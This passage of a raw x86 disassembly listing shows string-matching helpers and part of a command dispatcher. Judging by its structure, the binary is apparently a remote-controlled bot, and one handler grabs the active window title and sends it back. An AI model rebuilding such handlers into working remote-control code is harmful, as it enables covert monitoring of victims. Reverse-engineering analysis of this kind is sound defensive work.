		cmp	[ebp+arg_8], 0
		jz	short loc_40A562
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40A586
; ---------------------------------------------------------------------------

loc_40A562:				; CODE XREF: sub_40A50E+3Dj
		push	offset dword_4196D4
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		add	eax, 104h
		push	eax
		call	sub_4105FB
		pop	ecx

loc_40A586:				; CODE XREF: sub_40A50E+52j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4196B4
		push	0
		push	[ebp+var_4]
		push	offset sub_40A4A4
		call	sub_4095A4
		add	esp, 18h

locret_40A5BC:				; CODE XREF: sub_40A50E+Aj
					; sub_40A50E+23j
		leave
		retn
sub_40A50E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5BE	proc near		; CODE XREF: sub_40A5BE+32p
					; sub_40A5BE+70p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A603
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A5DD
		mov	al, 1
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A5DD:				; CODE XREF: sub_40A5BE+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A5FC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A5FC:				; CODE XREF: sub_40A5BE+28j
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A603:				; CODE XREF: sub_40A5BE+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A614
		xor	al, al
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A614:				; CODE XREF: sub_40A5BE+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A63A
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A63A:				; CODE XREF: sub_40A5BE+64j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A65B
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A65B:				; CODE XREF: sub_40A5BE+85j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69E
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A67C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A687

loc_40A67C:				; CODE XREF: sub_40A5BE+B1j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A69A

loc_40A687:				; CODE XREF: sub_40A5BE+BCj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A69A:				; CODE XREF: sub_40A5BE+C7j
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A69E:				; CODE XREF: sub_40A5BE+A6j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A6E7
		and	[ebp+var_4], 0
		jmp	short loc_40A6B6
; ---------------------------------------------------------------------------

loc_40A6AF:				; CODE XREF: sub_40A5BE:loc_40A6E5j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40A6B6:				; CODE XREF: sub_40A5BE+EFj
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A5BE
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A6D4
		mov	al, 1
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A6D4:				; CODE XREF: sub_40A5BE+110j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A6E5
		xor	al, al
		jmp	short locret_40A6E9
; ---------------------------------------------------------------------------

loc_40A6E5:				; CODE XREF: sub_40A5BE+121j
		jmp	short loc_40A6AF
; ---------------------------------------------------------------------------

loc_40A6E7:				; CODE XREF: sub_40A5BE+E9j
		xor	al, al

locret_40A6E9:				; CODE XREF: sub_40A5BE+1Aj
					; sub_40A5BE+39j ...
		leave
		retn
sub_40A5BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6EB	proc near		; CODE XREF: sub_4097A7+10Ap
					; sub_4098F3+155p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A730
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A70A
		mov	al, 1
		jmp	locret_40A86B
; ---------------------------------------------------------------------------

loc_40A70A:				; CODE XREF: sub_40A6EB+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A729
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------

loc_40A729:				; CODE XREF: sub_40A6EB+28j
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------

loc_40A730:				; CODE XREF: sub_40A6EB+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A741
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------

loc_40A741:				; CODE XREF: sub_40A6EB+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A767
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------

loc_40A767:				; CODE XREF: sub_40A6EB+64j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jl	short loc_40A77D
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ah
		jle	short loc_40A793

loc_40A77D:				; CODE XREF: sub_40A6EB+85j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 61h
		jl	short loc_40A7BC
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Ah
		jg	short loc_40A7BC

loc_40A793:				; CODE XREF: sub_40A6EB+90j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		xor	eax, 20h
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A7BC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------

loc_40A7BC:				; CODE XREF: sub_40A6EB+9Bj
					; sub_40A6EB+A6j ...
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A7DD
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------

loc_40A7DD:				; CODE XREF: sub_40A6EB+DAj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A820
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A7FE
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A809

loc_40A7FE:				; CODE XREF: sub_40A6EB+106j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A81C

loc_40A809:				; CODE XREF: sub_40A6EB+111j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------

loc_40A81C:				; CODE XREF: sub_40A6EB+11Cj
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------

loc_40A820:				; CODE XREF: sub_40A6EB+FBj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A869
		and	[ebp+var_4], 0
		jmp	short loc_40A838
; ---------------------------------------------------------------------------

loc_40A831:				; CODE XREF: sub_40A6EB:loc_40A867j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40A838:				; CODE XREF: sub_40A6EB+144j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A856
		mov	al, 1
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------

loc_40A856:				; CODE XREF: sub_40A6EB+165j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A867
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------

loc_40A867:				; CODE XREF: sub_40A6EB+176j
		jmp	short loc_40A831
; ---------------------------------------------------------------------------

loc_40A869:				; CODE XREF: sub_40A6EB+13Ej
		xor	al, al

locret_40A86B:				; CODE XREF: sub_40A6EB+1Aj
					; sub_40A6EB+39j ...
		leave
		retn
sub_40A6EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A86D	proc near		; CODE XREF: sub_40A8AD+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_4], 1
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A884
		push	1
		pop	eax
		jmp	short locret_40A8AB
; ---------------------------------------------------------------------------

loc_40A884:				; CODE XREF: sub_40A86D+10j
		mov	[ebp+var_8], 1
		jmp	short loc_40A894
; ---------------------------------------------------------------------------

loc_40A88D:				; CODE XREF: sub_40A86D+39j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_40A894:				; CODE XREF: sub_40A86D+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]

loc_40A89A:				; DATA XREF: .data:0041AE78o
					; .data:0041AEBCo ...
		jg	short loc_40A8A8
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_40A88D
; ---------------------------------------------------------------------------

loc_40A8A8:				; CODE XREF: sub_40A86D:loc_40A89Aj
		mov	eax, [ebp+var_4]

locret_40A8AB:				; CODE XREF: sub_40A86D+15j
		leave
		retn
sub_40A86D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8AD	proc near		; CODE XREF: sub_406509+26p
					; sub_40A9CF+193Fp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		push	edi
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_20], 0
		mov	esi, offset aAbcdef ; "abcdef"
		lea	edi, [ebp+var_1C]
		movsd
		movsw
		movsb
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jnz	short loc_40A90C
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 78h
		jz	short loc_40A905
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 58h
		jnz	short loc_40A90C

loc_40A905:				; CODE XREF: sub_40A8AD+48j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax

loc_40A90C:				; CODE XREF: sub_40A8AD+33j
					; sub_40A8AD+56j
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_14], eax
		jmp	short loc_40A927
; ---------------------------------------------------------------------------

loc_40A920:				; CODE XREF: sub_40A8AD+116j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax

loc_40A927:				; CODE XREF: sub_40A8AD+71j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_28]
		jge	loc_40A9C8
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_416DE4	; tolower
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 30h
		jl	short loc_40A95D
		cmp	[ebp+var_8], 39h
		jg	short loc_40A95D
		mov	eax, [ebp+var_8]
		sub	eax, 30h
		mov	[ebp+var_10], eax
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------

loc_40A95D:				; CODE XREF: sub_40A8AD+9Dj
					; sub_40A8AD+A3j
		cmp	[ebp+var_8], 61h
		jl	short loc_40A99C
		cmp	[ebp+var_8], 66h
		jg	short loc_40A99C
		and	[ebp+var_24], 0
		jmp	short loc_40A976
; ---------------------------------------------------------------------------

loc_40A96F:				; CODE XREF: sub_40A8AD:loc_40A998j
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+var_24], eax

loc_40A976:				; CODE XREF: sub_40A8AD+C0j
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		test	eax, eax
		jz	short loc_40A99A
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		cmp	[ebp+var_8], eax
		jnz	short loc_40A998
		mov	eax, [ebp+var_24]
		add	eax, 0Ah
		mov	[ebp+var_10], eax

loc_40A998:				; CODE XREF: sub_40A8AD+E0j
		jmp	short loc_40A96F
; ---------------------------------------------------------------------------

loc_40A99A:				; CODE XREF: sub_40A8AD+D3j
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------

loc_40A99C:				; CODE XREF: sub_40A8AD+B4j
					; sub_40A8AD+BAj
		xor	eax, eax
		jmp	short loc_40A9CB
; ---------------------------------------------------------------------------

loc_40A9A0:				; CODE XREF: sub_40A8AD+AEj
					; sub_40A8AD:loc_40A99Aj
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_14]
		dec	eax
		push	eax
		push	10h
		call	sub_40A86D
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	loc_40A920
; ---------------------------------------------------------------------------

loc_40A9C8:				; CODE XREF: sub_40A8AD+80j
		mov	eax, [ebp+var_C]

loc_40A9CB:				; CODE XREF: sub_40A8AD+F1j
		pop	edi
		pop	esi
		leave
		retn
sub_40A8AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9CF	proc near		; CODE XREF: sub_40D871+C95p
					; sub_40D871+D9Cp

var_6424	= dword	ptr -6424h
var_6420	= dword	ptr -6420h
var_641C	= dword	ptr -641Ch
var_6418	= dword	ptr -6418h
var_6414	= dword	ptr -6414h
var_6410	= dword	ptr -6410h
var_640C	= dword	ptr -640Ch
var_6408	= dword	ptr -6408h
var_6404	= dword	ptr -6404h
var_6400	= dword	ptr -6400h
var_63FC	= dword	ptr -63FCh
var_63F8	= dword	ptr -63F8h
var_63F4	= dword	ptr -63F4h
var_63F0	= dword	ptr -63F0h
var_63EC	= dword	ptr -63ECh
var_63E8	= dword	ptr -63E8h
var_63E4	= dword	ptr -63E4h
var_63E0	= dword	ptr -63E0h
var_63DC	= dword	ptr -63DCh
var_63D8	= dword	ptr -63D8h
var_63D4	= dword	ptr -63D4h
var_63D0	= dword	ptr -63D0h
var_63CC	= dword	ptr -63CCh
var_63C8	= dword	ptr -63C8h
var_63C4	= dword	ptr -63C4h
var_63C0	= dword	ptr -63C0h
var_63BC	= dword	ptr -63BCh
var_63B8	= dword	ptr -63B8h
var_63B4	= word ptr -63B4h
var_63B2	= word ptr -63B2h
var_63B0	= dword	ptr -63B0h
var_63A4	= dword	ptr -63A4h
var_63A0	= byte ptr -63A0h
var_639C	= dword	ptr -639Ch
var_6398	= byte ptr -6398h
var_6397	= byte ptr -6397h
var_6396	= byte ptr -6396h
var_6395	= byte ptr -6395h
var_6394	= byte ptr -6394h
var_6393	= byte ptr -6393h
var_6392	= byte ptr -6392h
var_6391	= byte ptr -6391h
var_6390	= byte ptr -6390h
var_638F	= byte ptr -638Fh
var_638E	= byte ptr -638Eh
var_638D	= byte ptr -638Dh
var_638C	= dword	ptr -638Ch
var_6388	= byte ptr -6388h
var_5F84	= dword	ptr -5F84h
var_5F80	= byte ptr -5F80h
var_5B7C	= dword	ptr -5B7Ch
var_5B78	= dword	ptr -5B78h
var_5B74	= byte ptr -5B74h
var_5A70	= dword	ptr -5A70h
var_5A6C	= dword	ptr -5A6Ch
var_5A68	= dword	ptr -5A68h
var_5A64	= byte ptr -5A64h
var_1A64	= dword	ptr -1A64h
var_1A60	= byte ptr -1A60h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_A38		= byte ptr -0A38h
var_A30		= dword	ptr -0A30h
var_A2C		= dword	ptr -0A2Ch
var_A28		= dword	ptr -0A28h
var_A24		= dword	ptr -0A24h
var_A20		= dword	ptr -0A20h
var_A1C		= dword	ptr -0A1Ch
var_A18		= byte ptr -0A18h
var_9F8		= dword	ptr -9F8h
var_9F4		= byte ptr -9F4h
var_9EF		= byte ptr -9EFh
var_9EA		= byte ptr -9EAh
var_9E5		= byte ptr -9E5h
var_9E0		= byte ptr -9E0h
var_9DB		= byte ptr -9DBh
var_9D8		= byte ptr -9D8h
var_9A4		= byte ptr -9A4h
var_970		= byte ptr -970h
var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_8D3		= byte ptr -8D3h
var_8D2		= byte ptr -8D2h
var_8CD		= byte ptr -8CDh
var_8CC		= byte ptr -8CCh
var_8C7		= byte ptr -8C7h
var_8C6		= byte ptr -8C6h
var_8C1		= byte ptr -8C1h
var_8C0		= byte ptr -8C0h
var_8BB		= byte ptr -8BBh
var_8B8		= byte ptr -8B8h
var_8A0		= byte ptr -8A0h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_718		= byte ptr -718h
var_59B		= byte ptr -59Bh
var_598		= byte ptr -598h
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_1F0		= byte ptr -1F0h
var_1CC		= byte ptr -1CCh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_183		= byte ptr -183h
var_83		= dword	ptr -83h
var_7F		= byte ptr -7Fh
var_19		= byte ptr -19h
var_B		= byte ptr -0Bh
var_8		= byte ptr -8
var_5		= dword	ptr -5
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, 6424h
		call	sub_416BC0
		push	esi
		push	edi
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_1A8], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_183]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_83], eax
		push	7Ah
		push	[ebp+arg_10]
		lea	eax, [ebp+var_7F]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_5], 1
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F18
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AA59
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415AF0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AA59:				; CODE XREF: sub_40A9CF+76j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AACF
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40AAAC
		lea	eax, [ebp+var_214]
		push	eax
		lea	eax, [ebp+var_1F0]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1CC]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AAAC:				; CODE XREF: sub_40A9CF+A6j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D7E5
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AACF:				; CODE XREF: sub_40A9CF+9Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB21
		push	200h
		lea	eax, [ebp+var_414]
		push	eax
		call	dword_4171D8	; GetForegroundWindow
		push	eax
		call	dword_4171E4	; GetWindowTextA
		test	eax, eax
		jle	short loc_40AB1C
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419EDC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch

loc_40AB1C:				; CODE XREF: sub_40A9CF+130j
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AB21:				; CODE XREF: sub_40A9CF+113j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ED0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB56
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4077DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AB56:				; CODE XREF: sub_40A9CF+165j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AC89
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AC84
		push	180h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 3
		jle	short loc_40ABFE
		push	offset dword_419EC0
		mov	eax, [ebp+var_418]
		lea	eax, [ebp+eax+var_59B]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40ABFE
		mov	eax, [ebp+var_418]
		and	[ebp+eax+var_59B], 0
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_4078A0
		pop	ecx
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax

loc_40ABFE:				; CODE XREF: sub_40A9CF+1E1j
					; sub_40A9CF+1FFj
		mov	eax, [ebp+var_418]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_418]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AC1F
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AC1F:				; CODE XREF: sub_40A9CF+249j
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF29
		pop	ecx
		pop	ecx
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF59
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		push	[ebp+var_418]
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		lea	eax, [ebp+var_718]
		push	eax
		push	offset dword_419E9C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch

loc_40AC84:				; CODE XREF: sub_40A9CF+1A7j
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AC89:				; CODE XREF: sub_40A9CF+19Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AD84
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Dh
		jnz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_71C], eax
		mov	eax, [ebp+var_71C]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_71C]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AD0C
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AD0C:				; CODE XREF: sub_40A9CF+336j
		lea	eax, [ebp+var_8A0]
		push	eax
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_720]
		and	[ebp+eax+var_8A0], 0
		lea	eax, [ebp+var_8A0]
		push	eax
		push	offset dword_419E70
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch

loc_40AD7F:				; CODE XREF: sub_40A9CF+2DAj
					; sub_40A9CF+2ECj ...
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AD84:				; CODE XREF: sub_40A9CF+2CDj
		mov	eax, [ebp+var_1A8]
